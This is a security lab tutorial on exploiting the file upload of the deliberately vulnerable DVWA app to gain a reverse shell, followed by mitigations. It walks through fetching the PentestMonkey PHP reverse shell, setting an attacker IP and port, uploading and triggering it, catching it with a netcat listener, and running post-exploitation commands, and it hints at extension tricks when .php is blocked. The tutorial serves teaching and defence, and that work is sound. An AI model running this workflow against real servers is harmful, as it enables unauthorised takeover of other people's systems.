Getting a Reverse Shell on a Server Through a File Upload
Objective
Learn how attackers exploit insecure file upload functionalities to execute a reverse shell on a target server, and understand how to secure applications against such vulnerabilities.
Purpose
Insecure file upload vulnerabilities allow attackers to upload malicious files, such as scripts, to a web server. By executing these scripts, attackers can gain unauthorized access and control over the server. This lab demonstrates how to exploit this vulnerability and implement mitigation strategies.
Tools Required
- Kali Linux: For creating and uploading the reverse shell.
- A vulnerable web application (e.g., Damn Vulnerable Web Application - DVWA).
- Netcat: For setting up a listener to capture the reverse shell connection.
Lab Topology
- Kali Linux: Hosting the reverse shell payload and listener.
- DVWA: A vulnerable web application running on a local or virtual server.
Walkthrough
Task 1: Setting Up DVWA
- Install DVWA:
- Follow DVWA installation instructions.
- Host it on a local server (e.g., XAMPP, WAMP, or Docker).
- Access DVWA:
- Open a browser and navigate to:
http://<dvwa_ip>/dvwa
Replace
<dvwa_ip>
with the IP of the system hosting DVWA.
- Open a browser and navigate to:
- Login to DVWA:
- Default credentials:
Username: admin Password: password
- Default credentials:
- Set Security Level:
- Navigate to DVWA Security.
- Set the security level to Low.
Task 2: Preparing the Reverse Shell Payload
- Generate a PHP Reverse Shell:
- Use the PentestMonkey PHP Reverse Shell:
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
- Use the PentestMonkey PHP Reverse Shell:
- Edit the Reverse Shell Script:
- Open the script in a text editor:
nano php-reverse-shell.php
- Modify the following lines:
$ip = 'YOUR_IP'; // Change this to your Kali Linux IP $port = 4444; // Change this to the port you will use for the listener
- Replace
YOUR_IP
with your Kali Linux IP address.
- Open the script in a text editor:
- Save the Script:
- Save the file as
shell.php
.
- Save the file as
Task 3: Uploading the Reverse Shell
- Navigate to the File Upload Functionality:
- In DVWA, click on the File Upload module in the navigation menu.
- Upload the Malicious File:
- Use the file upload form to upload
shell.php
. - Note the file path or URL where the uploaded file is stored.
- Use the file upload form to upload
- Verify the Upload:
- Access the uploaded file in your browser to ensure it was successfully uploaded:
http://<dvwa_ip>/dvwa/hackable/uploads/shell.php
- Access the uploaded file in your browser to ensure it was successfully uploaded:
Task 4: Setting Up the Listener
- Start a Netcat Listener:
- Open a terminal on Kali Linux and run:
nc -lvnp 4444
- Ensure the port matches the one set in the reverse shell script.
- Open a terminal on Kali Linux and run:
- Trigger the Reverse Shell:
- Access the uploaded file in your browser:
http://<dvwa_ip>/dvwa/hackable/uploads/shell.php
- This triggers the reverse shell, connecting back to your listener.
- Access the uploaded file in your browser:
- Verify the Connection:
- Check the Netcat listener terminal for an active connection.
- You should see a shell prompt for the target server.
Task 5: Post-Exploitation
- Explore the Server:
- Use basic Linux commands to explore the server:
whoami pwd ls -la
- Use basic Linux commands to explore the server:
- Escalate Privileges (Optional):
- Search for potential privilege escalation opportunities (e.g., misconfigured sudo permissions).
- Document Findings:
- Record all actions and observations for reporting.
Task 6: Mitigating File Upload Vulnerabilities
- Validate File Types:
- Restrict file uploads to specific extensions (e.g.,
.jpg
,.png
). - Use server-side validation to enforce file type checks.
- Restrict file uploads to specific extensions (e.g.,
- Rename Uploaded Files:
- Rename files to random, non-executable names upon upload.
- Store Files Outside Web Root:
- Save uploaded files in a directory not directly accessible via the web server.
- Set Proper Permissions:
- Ensure uploaded files cannot be executed by the server.
- Monitor and Log Uploads:
- Regularly review logs for suspicious uploads or access attempts.
Best Practices
- Conduct Regular Security Tests:
- Test file upload functionalities for vulnerabilities during development and deployment.
- Educate Developers:
- Train developers on secure coding practices to prevent file upload issues.
- Use Security Tools:
- Deploy Web Application Firewalls (WAFs) to block malicious uploads.
- Isolate Uploaded Files:
- Use containers or sandboxes to process and store uploaded files.
Key Takeaways
- File upload vulnerabilities can lead to complete server compromise.
- Proper validation, storage, and permissions are critical for securing file upload features.
- Regular testing and monitoring can prevent exploitation of insecure file uploads.
Troubleshooting Tips
- File Upload Fails:
- Ensure the application allows
.php
file uploads. - Test with different file extensions if the application blocks
.php
.
- Ensure the application allows
- Reverse Shell Does Not Trigger:
- Verify the listener is active and configured correctly.
- Check the reverse shell script for the correct IP and port.
- No Connection in Netcat:
- Ensure the target server can reach your Kali Linux machine (e.g., no firewalls blocking traffic).
- Use tools like
tcpdump
to monitor network traffic.
By completing this lab, you now understand how to exploit insecure file uploads to gain a reverse shell and how to secure applications against such attacks.